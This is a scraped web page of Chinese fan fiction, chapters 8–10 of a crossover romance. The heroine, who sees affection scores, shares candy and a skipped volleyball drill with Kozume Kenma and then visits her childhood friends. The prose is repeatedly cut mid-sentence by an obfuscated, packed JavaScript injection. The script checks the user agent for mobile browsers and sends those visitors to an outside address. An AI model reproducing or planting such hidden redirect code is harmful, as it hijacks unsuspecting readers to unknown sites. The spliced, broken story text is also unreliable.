l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456784|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤爪研磨身后的小泉花音:“花音呢?如果我是男生的话,你愿不愿意跟我在一起?” 小泉花音看着她的脸,仔细思索了一会儿,才回答道:“愿意的。” “因为瑞穗不仅学习和运动都很擅长,长得好看,性格还这么好……最重要的是,你会秒回信息诶。” 最重要的居然是这种理由吗?天海瑞穗摸摸鼻尖,有点搞不明白。 不过既然在小泉花音眼里性转版的她是有魅力的,那以她的好感度为准则,作为可告白线好了。 考虑到她们实际上同是女生,性取向又都是直的,或许会有点滤镜,所以四舍五入定为80,应该是不会出什么错的。 定下一桩大事,天海瑞穗才有空关注班里其他人的头顶。 出乎她的预料,班里的同学对她好感度都相当高,最让她感到意外的是后藤一里和孤爪研磨。 前者头顶橙色爱心,数值高达75。 四舍五入一下,就是向她表白也不会被拒绝的程度。 后藤同学原来有这么喜欢她吗?天海瑞穗嘴角止不住地上扬。 粉发的女孩子在她的目光下头越来越低,最后直接栽进了课桌。 可爱! 天海瑞穗干脆从包里翻出津美纪给的一小包糖,抓了几颗放在后藤一里桌上。 怕再刺激到她,面对她细弱蚊蝇的道谢声,天海瑞穗也只是笑着摆摆手。 然后,她给坐在后藤一里旁边的小泉花音也挑了几颗对方喜欢的口味。 回到座位上的时候,双葉优已经对着她伸出手在等待了。 “给——小优大人,你最爱的白桃味。” 给这三人分完,她终于看向孤爪研磨。 他正低头在玩手机。 她邻座的好感度居然有56的高分。 比她期待的还要高。 和别人比起来好像不足挂齿,但这可是孤爪研磨哦? 那个很怕麻烦,不喜欢他人视线,在班里总是独来独往的孤爪研磨。 56,完全可以称作是朋友了嘛。 糖果当然也不会少了朋友的! 天海瑞穗不知道他爱吃什么口味的糖,于是都拿了一颗。 假如是平时,她会选择把糖直接放在他桌上,但或许是明媚如太阳一样的黄色爱心给的勇气,这一次,她只是轻声叫他的名字:“孤爪同学,要不要吃糖?” 她很想知道他会不会接过去。 还是说会拒绝? 孤爪研磨一扭头,就看到了在自己眼前摊开的手掌。 掌纹很细,手指也细细的,上面躺着几颗彩色包装的水果糖。包装纸亮晶晶的,在光下折射出如梦似幻的光。 他没看天海瑞穗,只是伸出手,从她掌心接过那几颗糖。 孤爪研磨从小就打排球,手掌的茧长了又退,最后变成薄薄一层,并不硬,反倒是柔软的。 此刻,他的动作在天海瑞穗眼里变成了慢动作。 指尖将落未落时是微痒的感觉,指尖触及掌心后有所减缓。但当他收拢手指时,天海瑞穗下意识缩了下手。 因为她这个小动作,两人的目光触碰在一起,又很默契地一同闪开。 指尖在掌心的皮肤上缓缓划过,指甲和指尖并没有什么区别。糖果被另一只手攥住,互相挤压间发出“咯吱咯吱”的声音。 孤爪研磨的手离开她的手。 接着,他放下手机,用另一只手从包里拿出一个布丁递过来:“谢谢。” “这是什么?”天海瑞穗接过来,很好奇地晃了晃。 布丁是玻璃瓶的,上面印着【札幌农学校】几个字。 “昨天的回礼。”孤爪研磨回答,“饼干很好吃。” 他声音低低的,带着少年独有的鼻音。 这一点也很可爱。 有一种被猫猫投喂了的感觉。 天海瑞穗眨眨眼,发现他头顶的数字从56变成了58,黄色也更深了点,隐隐泛着金。 高了两点。 哇—— 孤爪研磨还没有转过去,发觉她眼睛一眨不眨地盯着自己的……头顶看。 他头顶有什么吗? 手伸上去摸了一下,除了头发什么都没有。 他于是问出口。 天海瑞穗摇摇头,眼角眉梢都带着浅浅的笑意:“什么都没有哦,只是发现,孤爪同学或许很适合金黄色的头发呢。” 金黄色的头发? 怎么突然想到这里。 闻言,孤爪研磨露出一个疑问的表情,却也没有再问。 8. Chapter 8 黄金周对天海瑞穗来讲是个很长的假期,但是母亲的事业正在上升期,这几天要出差,家里就又只剩下她一个人。 她思来想去,发现自己完全没有事情可以去做。 以前在埼玉的时候,她每天都会去便利店打工,回家之后帮着姥姥一起做做家务,无聊了还可以去隔壁找伏黑姐弟玩。 那时候住的是老旧的联排二层,她和伏黑惠的卧室连在一起,从窗户就可以直接翻进去。 天海瑞穗经常在姥姥睡了之后翻去隔壁,哄一哄黑着脸叫她不要乱翻的伏黑惠,再高高兴兴去找津美纪一起睡。 但现在,她只能在思考过后,得出无事可做,不如去睡觉这样的结论。 ——“那瑞穗过来跟我住几天吧?” 午休跟津美纪聊天的时候,被这么邀请了。 “我最近有跟着朋友学穿搭哦,你来当我的模特怎么样。” 天海瑞穗很愿意,非常愿意。 她早就好奇津美纪的好感度了,猜测着肯定在80以上,是好看的粉色。 她心情肉眼可见得好,好到连孤爪研磨都多看了她几眼。 他的疑惑有人帮忙问出了口。 好感度已经突破80大关,头顶粉色爱心的小泉花音往她嘴里塞了一块巧克力:“发生什么好事了吗?” 微苦的味道在口腔里蔓延,天海瑞穗摸摸脸,不好意思起来:“很明显吗?” “明显!”双葉优也夸张道,“你嘴角都快笑烂了!” 孤爪研磨默默闭上嘴:“……” 尽管他不是话题中心,但确实处在中心位置上。 “难道是谈恋爱了?” “话说你们黄金周有什么计划啊?要不要一起去周边玩个两天?” “什么男朋友啊,其实是黄金周要去幼驯染家。”天海瑞穗随手从桌上捞起一支笔转了两下,因为一侧有汉堡的装饰,重量并不平衡,很快就掉了。 “我们好久没见了,所以周边游要下次了。抱歉抱歉——假期怎么样?到时候做个攻略好好玩一玩。” 她双手合十,中间夹了支汉堡笔,正好在鼻尖的位置,看上去有点滑稽。 这谁还能说不好,本来在听到她说要和幼驯染一起过的时候就觉得不打扰她们会比较好,更何况天海瑞穗都那样讲话了诶。 “你们黄金周都有什么计划啊?” 孤爪研磨在课桌底下打着新出的游戏,其实大部分注意力都在游戏上的,但当周围的女孩子们说了一圈终于散去的时候,还是有松了口气这样的感觉。 ——为什么又变成了半个班女生的话题啊? 一口气还没松完,肩膀就被天海瑞穗用书轻轻碰了一下:“下节是体育课哦,不去换衣服吗?” “……这就去。” 天海瑞穗点点头,没有同他多说:“那我先去换衣服啦,待会儿见哦。” 她小跑着撞进了门口站着等她的小团体中,不知道听到了什么,笑得格外开怀。 这节是室内课,天海瑞穗运动神经很不错,但她很不喜欢一些比较暴力的体育项目,原本没觉得体育课的项目有什么,但自从见识过了之前两位一见钟情的对象打球后,她对网球和篮球的危险等级就有了新的认知。 有这两个前车之鉴,天海瑞穗对排球也没什么期待,甚至在得知孤爪研磨居然加入了排球部之后,还真情实感地为他的人身安全问题担心过。 ——排球和网球篮球不一样,没法拿拍子去接球击球,球的目的地也不是篮筐。 她在电视上看过女子排球比赛,她们接球的时候是真的会扑到地上的!看着就好疼。 她实在没法想象孤爪研磨用他那两条细细的手臂去接球。真的不会骨折吗? 因此,在听到老师说从今天开始的一个月都要打排球的时候,天海瑞穗是绝望的。 这节课是两个班合上,正是喜多同学在的班级。天海瑞穗之所以和她认识,也是因为之前的体育课上有过交流。 喜多的好感度是64,和她预想的差不多。 按照老师的安排,她们需要先自行组队,两人一组一起练习垫球。 对打的时候是要男女分开的,但因为目前还是垫球阶段,老师并没有多做要求。 这种两人一对的分配对奇数小团体和独行侠都很不友好,得到了大家一致的不满声。 还有一部分刺头男生在嚷嚷着什么时候才能对打。 大概是因为两个班的男生加起来实在太吵闹,向来宽容的体育老师都烦了,这次格外不留情面,拒绝了一切请求,并且下令在垫球合格前,不允许任何人擅自进行对打。 正好是三人小团体,并且格外不想打排球的天海瑞穗很头疼:“你俩一组吧,花音国中的时候是排球部正选,正好可以带带小优。” “那瑞穗你和谁一组啊?”双葉优有点犹豫,“要不还是你和花音一起好了,我有点怕会拖累到她。” 天海瑞穗很不好意思地笑了一下:“其实我对排球没什么兴趣啦,想看看能不能找机会偷懒。” “所以还是你们一组比较好啦。” 她这么说了,两人于是不再纠结,指了指体育馆的拐角:“那我俩先去占个地,你待会儿过来,那边老师不太能注意到。” 天海瑞穗比了个“OK”的手势,环视一圈,还有蛮多人没找到搭子,但看到她落单后,已经有不少人都频频向她看。 她的目光首先看向后藤一里。 她是个社恐的性格,这种时候一定很无措。 但出乎意料的是,后藤一里已经组好了队伍。 她的搭档是喜多同学。 她俩什么时候认识的?天海瑞穗惊讶之余,很为后藤一里开心。 在看到她的超高好感度之后,天海瑞穗就明白了她其实很想和她交朋友的,只是碍于社恐不敢说话罢了。 她于是高高兴兴对着两人挥挥手,目光最终停留在了尽管面无表情但明显感到不耐烦的孤爪研磨身上。 想偷懒怎么办?找同样不想练的搭子啊。 58的好感度,没问题的。 天海瑞穗于是观望了几秒,就朝着对方迈开步子。 早在天海瑞穗站在人群中观望的时候,孤爪研磨就已经准确地捕捉到了她的意向。 她是个认真的性格,作业和笔记都是会被老师单拎出来夸的程度,校服也总是穿得很规范,她值日的那天教室一定最干净,讲台上的花也搭配得好看…… 更不用说天海瑞穗运动神经相当不错,尽管大家都不太清楚为什么她最后选择了戏剧社,但她做什么都很认真,打排球肯定也是那种会一丝不苟完成课程内容,课后还要给自己加练的类型。 是他最不擅长应对的那种类型。 假如和她一组,大概率就等于断绝了偷懒的可能性。 然而,当浅绿色和暗金色隔着好一段空气碰撞在一起的时候,他看见天海瑞穗对着他扬起一个明媚的笑。 孤爪研磨几不可闻地叹了口气。 “走吧。” 天海瑞穗刚站到他面前,甚至还没有说出那句在心里排练了好多遍的“孤爪同学还没有组好队的话,要不要和我一组呢?” 就听见黑发少年有气无力地说了句:“走吧,去领排球。” “啊……嗯!”她迅速反应过来,嘴角的弧度怎么也压不下去,最后干脆不再掩饰,“好啊,我们挑一颗最漂亮的。” 很想说排球除了品牌和软硬度以外没任何区别,哪有什么漂亮一说。但看她心情很好的样子,孤爪研磨还是把这句话咽了回去。 排球是两个人一起挑的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456785|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是挑,其实就是天海瑞穗指了一颗自己看着最顺眼的,孤爪研磨拿起来拍了两下觉得没问题,就决定是这颗了。 两个人一起出现在约定好的角落时,得到了小泉花音和双葉优一致的调侃眼神。 她们努力忍着笑:“还说想偷懒呢,领回来一个排球部的。” 原本没觉得有什么,但被这么一调侃,天海瑞穗就莫名觉得脸热。 她邀请孤爪研磨的时候,绝对没有抱着什么歪心思,就只是因为原本想邀请的后藤一里已经和隔壁班的喜多同学组了队,又正好看见了神色恹恹的黑发少年,想着和他一起应该会很轻松。 可是现在,谁会信她呢?天海瑞穗不好意思地为自己辩解:“孤爪同学也想偷懒的对不对?” 已经抱着要成为她的指导教练的信念过来的孤爪研磨:“……?” 被安排成想偷懒的那个,他当然没有任何不满,只是——也? 天海瑞穗居然会想偷懒? 他半天没反应,天海瑞穗逐渐变得有点不自信。 他没信她?还是她看错眼了,孤爪研磨其实很想打排球? 前者尚且还算合理,但后者……孤爪研磨明明就一脸没干劲的样子啊,都那么明显了,她怎么会看错嘛。 但是在他面前承认自己对排球完全不感兴趣什么的,多少还是有点微妙——她毕竟田径和篮球都不错。 “……我以为你不太想在训练前多上这一节课的?”于是她这么说。 孤爪研磨:“……” 她是懂转移话题的。 不过对他来讲能偷懒当然更好,孤爪研磨点点头,“嗯”了一声,不打算对此多说什么。 之前体育课的内容是篮球,虽说是男女分开打,但都在同一个体育馆里,谁打得好一目了然,更别说这个人是天海瑞穗。 她似乎没什么特别不擅长的事,本以为排球也一样。 然而。 “啊——歪了。” 她一个大力,把排球给垫飞了。 “再来一次。” “……又歪了。” “怎么垫不起来啊?” 看着她架势很正动作全错的样子,孤爪研磨眼角都抽了一下。 他收回刚才的想法。 天海瑞穗完全不懂排球。 他犹豫了一下,觉得作为搭档他是有义务纠正她的姿势,教她排球的。 但要说真心话,孤爪研磨不太乐意。 就像天海瑞穗刚才说的那样,他并不想在训练前还打一节课的排球,更别说是要教一个初学者。 这很麻烦。 假如这是一个RPG游戏,那天海瑞穗的头顶应该冒出一个通知符号,标着“副任务××-排球初学者”。 【天海瑞穗对于体育课的排球入门很是苦恼,去教她如何正确垫球吧】 【任务奖励:天海瑞穗好感度+5】 任务接还是不接,这是一个问题。 孤爪研磨迟疑着、迟疑着,就看见天海瑞穗双手接住下落的排球,朝着他走过来。 啊,是那种必须要过的副任务。 那就没办法了。 他脑海里迅速过了一遍天海瑞穗刚才的动作,找出她的问题所在。 然而,正当孤爪研磨要开口的时候,他看见天海瑞穗抱着排球的双手往前一伸:“虽然很想说教教我这样的话,但是我好累哦,还是先休息比较好。” “孤爪同学要玩一会儿吗?” 她笑容完美,目光澄澈,仿佛真的是在很认真地询问他要不要垫一会儿球。 孤爪研磨:“……?” 他在心里缓缓打出一个问号。 她说累? 明明是被田径社抢着要的运动能手、体力王者,现在才垫了五分钟球,她就说累? 9. Chapter 9 天海瑞穗说休息,就真的是休息。把排球递给孤爪研磨后,她毫不犹豫地在他旁边靠着墙坐下了。 学校的体育服是统一的短袖短裤,四月末的东京天气微凉,好在是室内课,这么多人在场馆里跑来跑去地追逐着那颗难控的球,因此温度正好。 天海瑞穗双手交叉向前伸展了两下,见旁边的人抱着排球,却迟迟没有下一步动作,得意地笑笑。 她就知道自己没看错。 放眼望去,偷懒的人也不少,只是没人像他们这样光明正大地坐着。 总觉得就这么不说话气氛有点尴尬,天海瑞穗歪歪脑袋,侧着脸看孤爪研磨。 黑发少年低头看着怀里三色的排球,眼神放空,像是在发呆。 有点好奇他在想什么,又觉得就这么坐着好无聊。天海瑞穗望望天花板,又看向套着铁丝网的挂钟。 “你们排球部平时训练也是这样吗?”距离下课还有很长时间,天海瑞穗决定找点话题聊聊。 猝不及防听到她的声音,孤爪研磨快速看了她一眼:“什么样?” “就是,同一项内容要连续训练很久。”可能因为都是体育运动,天海瑞穗突然想到了越前龙马。 她不喜欢那么可怕的网球,但也在放学后留下来,真真切切地看了很多次网球部的训练。他们会有很严苛的跑圈练习和惩罚,挥拍的练习也是以百为单位。 “比如连续垫球几百次,然后要一直练垫球,直到没有任何问题才被允许学传球击球?” 原本只是无聊想着随便说点什么,但现在,天海瑞穗是真的好奇起来了。因为一直侧着脸脖子难免有点酸,她干脆稍微往孤爪研磨那边侧过半个身体。 “会。”因为她突如其来的动作,孤爪研磨顿了顿,才继续说,“会有这样的练习。” 天海瑞穗虽然侧过身子,但她没有凑得很近,也并非面对面这样的姿态,所以他没有觉得不适。 “部里大部分人以前就在打排球了,初学者很少,练习也是分开的。” 孤爪研磨一一回答她的问题:“对初学者的话,最开始都是先教手型和步法,然后是垫球。” 天海瑞穗提问:“步法就是老师刚刚示范的吗?并步和滑步。” 孤爪研磨先是惊讶她居然有听,然后才突然意识到这可是天海瑞穗,她不听课才奇怪。 既想偷懒,又会好好听老师讲动作要领,真奇怪。 不过天海瑞穗向来都很奇怪。这不是什么稀奇的事。 他点点头表示肯定。 “那你觉得有趣吗?” 自从看得见好感度后,天海瑞穗觉得自己和他似乎更熟了点,这种比较私人的问题也可以不加斟酌地问出口了:“感觉比起排球部,孤爪同学更像是回家部那一派的。” 敏锐地察觉到这种变化,孤爪研磨沉吟一声:“还好、一般。” “不是很喜欢,也不是很讨厌,所以就接着打了。”他语气平平,像是在说和自己不相干的事情。 明明部活很辛苦,居然会因为无所谓这种理由坚持下去吗? 天海瑞穗有些疑惑,又觉得好像变得更了解他了一点。 孤爪同学,好奇怪哦。 不过这一点也很可爱就是了。 来了,这种看小动物一样的眼神。 孤爪研磨回忆了一下自己刚才说的话。没什么特别的,她在开心什么? 他常常觉得自己搞不懂这个邻座。 就像现在,明明上一秒还在说有关于排球部训练的事情,下一秒,她突然间开口问道:“孤爪同学喜欢吃甜品吗?” “还好……为什么突然这么问?” 天海瑞穗不好意思道:“我想在家政课上尝试着做甜品,但是失败了。” “因为你上次给的布丁是北海道特产,就猜想你可能会喜欢吃甜的东西,或许能给我一点建议。” 好像是有这么回事。 孤爪研磨回忆着。 家政课上,她分给过他好几次自己做的食物。 都是些例如咖喱饭蛋包饭饭团之类的东西。 天海瑞穗大概是对食物没有任何要求,因此她料理的水平不高不下,就是能吃并且味道还行的样子。 但是上节课,老师建议她尝试着做一做甜品。 这是天海瑞穗在学校课程上的第一次滑铁卢。 她做的草莓蛋糕格外难吃——是连天海瑞穗自己都吃不下去的程度,自然也就没分给他。 孤爪研磨想了想,答非所问:“布丁好吃吗?” 说起布丁,他的思绪很快发散出去。 天海瑞穗的包里总能拿出不同的零食,她也很热衷于分给朋友们,还顺带着会分给他。 上次的饼干被黑尾瓜分走了一块,上上次的巧克力也被掰掉了一角…… 只有前天早上的糖,他早有预料,用家里常备的薄荷糖堵住了黑尾的嘴。 天海瑞穗给的每颗都是不同的口味。 但那几颗糖现在还躺在他的桌面上,只缺了颗葡萄味的。 “这个很好吃啊!”那天放学回到家,幼驯染一边品尝着饼干,还一边故意说,“天海人真好啊,总是分零食给你。” “而且总是在晨练结束后吧?是担心你体力不支晕倒吗?” 得了便宜还卖乖。孤爪研磨不太想理他,视线始终放在屏幕上,打新出的游戏。 这游戏有点上头,他最近总是熬夜打。 不过旁边有人捣乱:“你最近一直在打这个啊,很好玩吗?” 对游戏,孤爪研磨从不会吝啬。 他眼睛完全没有要移开屏幕的意思:“嗯,很好玩。” 看着他打了会儿游戏,黑尾铁朗突然出声问:“你有回过礼物吗?” 不用问也知道他在说什么。 接连两次收到葡萄味的水果糖时,他猜测天海瑞穗喜欢葡萄味的东西,所以第二天买了葡萄味的饮料,但进教室的时候,发现她桌上已经有一瓶一模一样的了。 是小泉花音给的。 于是包里的饮料没能送出去。 又观察了她几天,他准备了一份三明治和一份饭团,结果到教室,就看到三个女孩子每人手里一个三明治,吃得很开心的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456786|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他给了她饭团。 但听到他这个回答的时候,黑尾铁朗的表情有一瞬间愣住了。 随后,他大笑起来,一边笑还一边拍了拍孤爪研磨的肩膀:“你居然送她饭团?她可是刚吃完三明治啊哈哈哈哈哈哈。” “这种时候收到饭团,怎么想都开心不起来的吧?” 这个家伙…… 等匹配的功夫,孤爪研磨眼疾手快地一把收走了放在旁边的饼干。 在幼驯染嚷嚷的背景音下,他心情莫名的好,回道:“她就很喜欢。” 那天早上,天海瑞穗很开心,第一节课的课间就把饭团吃掉了。 尽管他已经意识到了天海瑞穗对于食物根本不挑,送什么她都会很开心,但总和别人撞的感觉还是很不好的。 所以在吃完剩下的两块饼干,思考着到底要回什么才是最优解的时候,孤爪研磨盯上了母亲从北海道带回来的伴手礼。 在白色恋人和布丁中,他理所当然选了布丁。 所以现在,从天海瑞穗口中听到了布丁二字的时候,孤爪研磨想知道自己的选择是不是最优解。 ——“布丁,好吃吗?” 虽然不知道他为什么突然问这个,但隐约感觉到他似乎很在意自己的答案。 于是天海瑞穗很诚实地点点头,也毫不吝啬表达自己的感受:“很好吃哦!在我吃过的布丁里面,孤爪同学给的可以排第一!” 第一……吗? 孤爪研磨双手抱着膝盖,脑袋靠在臂弯里,脸微微朝向天海瑞穗的方向。 交谈声、呼喊声、排球触碰到手臂又碰撞到墙壁上的声音……这些声音几乎要填满整个体育馆。 唯独他们所在的小小角落里,仿佛连空气都凝滞在一起。 不似平日里对他人视线的回避,此刻,孤爪研磨的视线紧紧锁定在天海瑞穗身上。 那双暗金色的猫眼里闪着奇异的光。 天海瑞穗僵在原地。 在对方饶有兴致的目光里,她感觉自己像是被猫盯上的一只鸟,或者虫子,游戏里待攻略的boss……随便什么。 总之是一种猎物。 “孤爪同学?”虽然感觉到了一点隐秘的威胁感,但有第一印象在,天海瑞穗并不怕,反倒觉得有趣,“你真的不是什么猫妖化成的人吗?” 就连这种时候,她的表情也是认真的好奇。 沉默了几秒钟后,孤爪研磨笑出了声。 很轻的一声,下一秒就消散在了空气中。 “好奇的话,就自己确认吧。” 代表着他好感度的数字闪烁一下,由58变成了60。 “好哦。”天海瑞穗很乖地点点头,却毫不犹豫越过了两人中间那条隐形的河流。 她的指尖轻轻落在黑发少年的脸颊上。 温热的。 两个人都是。 在孤爪研磨因讶异而微微睁大的双眼里,天海瑞穗的笑容和游戏里打败了boss的勇者诡异地重合在了一起。 “是猫妖也没有关系。” 她说:“因为孤爪同学很温柔嘛。” 10.Chapter 10 体育课的最后,是两人偷懒被老师揪住,给了要在月末的考核中拿到高分的处罚。 对孤爪研磨来讲这应该相当简单,但对天海瑞穗来讲,是个挑战。 在她还在犹豫着要不要拜托孤爪研磨教她打排球的时候,黄金周到了。 放假的时候就该有放假的样子,天海瑞穗立刻把学校的事情全都抛开,专心计划起了自己的美好假期。 放学回到家的时候,屋子里也是理所当然的一片寂静。 不过天海瑞穗并不觉得寂寞。在意识到她拥有了看到别人好感度的能力后,她就反反复复观察了母亲很多次。 的确是97,不是她看错了。 把她丢到埼玉县的姥姥家毫不过问也好,在姥姥去世后突然出现要求她转学来东京也好……天海筑紫的确不符合一个合格母亲的标准。 但能那么果断地甩掉家暴的父亲,在做了很多年的家庭主妇后重新回到职场,并且事业一直在稳步向上——天海瑞穗其实很崇拜母亲。 只是她多多少少还是会担心母亲是不是并不怎么爱她——她们毕竟很多年都没有见过了。 但现在,天海瑞穗回复了母亲的消息后,尝试着提了想要伴手礼这样的要求。 97的好感度,深红色的爱心。 天海筑紫毫无疑问是爱她的,非常爱。 那么,撒个娇也没关系吧? 母亲的回复是“OK”。 从小学起就缺席的母爱在这一刻得到了填补。 天海瑞穗抱着手机,直挺挺地倒在了床上。 一直以来悬在头顶的一把利剑就这么轻飘飘地被撤去了,感觉很奇妙。 她放下全部的担忧和顾虑,心情很好地收拾好行李,然后给津美纪拨了通电话。 今天的计划是出去吃饭,她有点犹豫是要先吃饭还是先去放行李。 电话被接通的时候,津美纪正在挑出门要穿的衣服,听到她说已经收拾好行李打算过来,惊讶道:“好快!我还在挑衣服呢……瑞穗你今天穿什么色啊?我们要不要保持统一?” 听到要穿同一色系的衣服,天海瑞穗立刻露出了星星眼。 她超想和津美纪这样穿的!会有一种全世界她们俩最最好的感觉。 不过由于太过兴奋的原因,天海瑞穗完全忘记了自己穿的什么衣服。 好在卧室里就有穿衣镜,她看了一眼身上的白T和牛仔裤,沉默了两秒,面无表情地说:“蓝白……怎么样?” 这么难得的机会,谁要穿这么普通啊! “蓝白?我看看有没有合适的……”对面传来翻找衣服的声音,“浅蓝色吗?” 好的,就确定是浅蓝色了。 天海瑞穗肯定道:“对!浅蓝色!” 挂掉电话之前,津美纪像是刚记起来一样,拍拍脑袋:“哎呀,我差点忘了……惠过去接你了哦,算算时间应该快到了。” 诶? 天海瑞穗还没来得及多问两句,就听见了玄关处传来的门铃声。 “小惠好像已经来了……”她握着手机走去开门,“那我挂掉了哦,待会儿见!” 穿着便装的伏黑惠站在门外,手里拿着一个可丽饼——香蕉巧克力的,还加了一颗冰淇淋球。 哇——想吃。 天海瑞穗看看他,又看看可丽饼,然后再看看他,眼睛亮闪闪的,:“给我的礼物吗?” 伏黑惠:“……” 他视线蓦得往旁边打去,然后点点头,就好像那边有什么很吸引他的东西一样。 好奇心暂且战胜了对可丽饼的渴望,天海瑞穗扒住门框,探出一颗脑袋,顺着他的目光看去。 楼梯拐角处,不知何时多出了一个透明的盆栽,里面是一小片绿绿的东西。 看着有点像苔藓? 天海瑞穗不太确定:“那是什么啊?小惠喜欢吗?” 在伏黑惠和门框中间的窄小缝隙里,天海瑞穗仰着头,碧绿的眼睛里一片澄澈。 伏黑惠像是才注意到那边有这么一个盆栽一样,看了一眼:“苔藓……还好。” 他的目光重新落到天海瑞穗的脸上。 她离得很近,随着眨眼的动作,睫毛像蝴蝶翅膀那样扇动了一下。那双和他同色系的碧绿眼睛总是带着笑,专注地看着某个人的时候,会让对方有一种被春天的湖水包裹着的感觉。 但伏黑惠知道这只是错觉,天海瑞穗眼里的倒影,是全世界最大的骗局。 他把可丽饼递出去一点,语气沉静:“不吃的话冰淇淋就要化掉了。” 听到这么可怕的事情,天海瑞穗一下子回过神来,从他手里接过可丽饼,果然已经有点化掉的迹象了。 她连忙咬了一大口,巧克力、奶油、冰淇淋、香蕉……甜蜜的感觉充斥着味蕾。 天海瑞穗幸福得眯起眼睛,舔舔唇边沾到的奶油,往后退了几步:“进来啊,怎么一直站外面。” 出租屋虽然小,但里面布置得还算温馨,天海瑞穗从冰箱里给他拿了瓶抹茶拿铁,又拿了点小零食。然后坐到旁边,三两下就吃掉了一整个可丽饼。 “好幸福……”她满足地喟叹一声,见伏黑惠没动,干脆给他拧开瓶盖,“我要去换一下衣服,你稍微等我一下哦。” 她小跑着进了卧室,五分钟后,门被从里面打开,天海瑞穗两只手各拿着一套搭配好的衣服,在自己身上分别比划了一下,很认真地询问伏黑惠的意见:“哪件好看?” 伏黑惠沉默了一会儿,给出回答:“右边的吧。” 水色短裙,很可爱的一套……小惠果然喜欢这种啊。 天海瑞穗露出一个洞悉一切的笑容,在伏黑惠因为她的笑炸毛前,飞快地闪回卧室里。 再出来的时候,她已经穿戴整齐,连头发都简单收拾了一番。 她笑眯眯地走到伏黑惠眼前,问:“好看吗?” 天海瑞穗对自己的脸一直都很有自信,但她喜欢听朋友的夸夸,所以每次都要明知故问。 “嗯,很好看。”黑发少年一只手摸了摸肩膀,目光沉静,耳朵却悄悄红了。 天海瑞穗略有些惊奇。 她的幼驯染性格稍微有点别扭,却会在这种时候打直球。 不过因为这样的情况出现过太多次,他也从一开始的害羞逐渐变成了能够平静说出“好看”这样话语的样子。 所以此刻,注意到少年那份被隐藏起来的害羞时,天海瑞穗觉得自己的心脏像是被柔软的花蕾包裹起来一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463970|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软软的。 小惠害羞起来也超可爱的。 天海瑞穗点点头,语气欢快:“嗯嗯!小惠也超帅的!” 她要带的东西不多,只装了一个小小的行李箱。 伏黑惠很自然地从她手里接过来,率先走出了门,看着天海瑞穗锁好门后,迟疑了一下,踮起脚尖,从门框最上面摸下来一枚备用钥匙。 她放备用钥匙的位置槽点有点多,伏黑惠决定不开口为妙。 下一秒,天海瑞穗就凑过来,把那枚备用钥匙放到了他的衣服口袋里。 “还是放在小惠这里比较放心。”她说。 另一把她常用的钥匙,则是被她丢进了自己的包里。 “嗯,走吧。” 伏黑惠已经叫好了车,他一手提着银色的行李箱,一手放在衣服口袋里。 小惠瘦瘦高高的,好酷。 天海瑞穗跟在他后面,满脑子都是这个想法。 因为计程车很贵,天海瑞穗在这方面属于节省派的,很是为幼驯染的钱包心疼。 但小惠是为了她叫的计程车,在这种时候只要表达感谢就好,天海瑞穗绝不会说什么扫兴的话。 津美纪在东京住的这套房子,据说也是伏黑惠租的,离津美纪就读的燕西高等学院蛮近,有很方便的直通车,中途不需要再换乘。 天海瑞穗之前也来过几次,但并没有住过。 想到晚上就要和津美纪一起睡,她就兴奋到无以复加,这份欣喜雀跃的心情甚至影响到了旁边的伏黑惠。 他由于繁忙任务而略显疲惫的神色也逐渐变得轻松了一点。 天海瑞穗的这份兴奋在门开后戛然而止。 门后出现的并不是留着长发,约好了要和她穿同色系衣服的津美纪的脸,而是一堵人墙。 水色的。 抬头看,一头银发的青年唇角上扬,鼻梁上的墨镜也因为低头的动作而微微下滑,露出一双碧空一样美丽的蓝色眼睛。 “好久不见啦,小瑞穗。” 咦……? 五条悟? 他一只手上拿着个大福,仔细看,嘴角也粘着点奶油。 天海瑞穗眨眨眼:“啊,悟。” “没错,是超帅气的悟哦!”穿着浅蓝色开衫的五条悟晃晃上半身,语气比天海瑞穗更像个jk。 总觉得心情有点微妙呢。 天海瑞穗决定忽略他身上同色的衣服,探头去找津美纪的身影,却被五条悟挡住:“小瑞穗好冷淡哦,见到我不开心吗?” 他语气明明就带着笑。 “开心的啊。”天海瑞穗仰着头看他,觉得脖子都有点酸,“但是这个时候更想见津美纪嘛。” 身前的人突然弯了弯腰,唇边出现一只大福。 天海瑞穗没犹豫,张嘴咬了一口。 是毛豆生奶油的,五条悟刚从仙台回来吗? 怀着这样的疑问,她又就着五条悟的手把剩下的一半也吃掉了。 